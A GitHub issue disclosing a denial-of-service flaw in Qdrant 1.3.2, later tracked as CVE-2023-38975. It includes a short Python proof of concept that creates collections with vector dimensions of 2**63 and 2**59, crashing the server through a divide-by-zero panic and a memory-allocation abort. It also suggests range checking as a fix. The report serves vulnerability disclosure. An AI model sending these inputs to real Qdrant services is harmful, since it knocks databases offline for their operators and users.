CVE-2023-38975: Wrong dim when create collection may cause db service down · Issue #2268 · qdrant/qdrant

Wrong dim when create collection may cause db service down

Current Behavior

Denial of Service, Users can not use the vector database normally

Steps to Reproduce

some bugs related with the dim of vector when create collection, which can cause DoS
Details

version: 1.3.2

at https://github.com/qdrant/qdrant/blob/master/lib/segment/src/vector_storage/chunked_vectors.rs#L28, it check cannot be 0, but vector_size may be zero if dim too big such as 2**63. Then it will divide zero

if dim is too big, the vector::new will failed on my 128G memory server, and service will down.
PoC

from qdrant_client import QdrantClient
from qdrant_client import models

c = QdrantClient(host="127.0.0.1", port=6333)
c.recreate_collection(
    collection_name="test",
    vectors_config=models.VectorParams(size=2**63, distance=models.Distance.COSINE),
)

# [2023-05-30T08:25:32.996Z ERROR qdrant::startup] Panic occurred in file lib/segment/src/vector_storage/chunked_vectors.rs at line 28: attempt to divide by zero


c = QdrantClient(host="127.0.0.1", port=6333)
c.recreate_collection(
    collection_name="test",
    vectors_config={
        "payload": models.VectorParams(size=2**59, distance=models.Distance.DOT),
    }
)

#memory allocation of 2305843009213693952memory allocation of  bytes failed
#2305843009213693952 bytes failed
#Aborted (core dumped)

Possible Solution

check the value range

P.S This bug can also effect the cloud service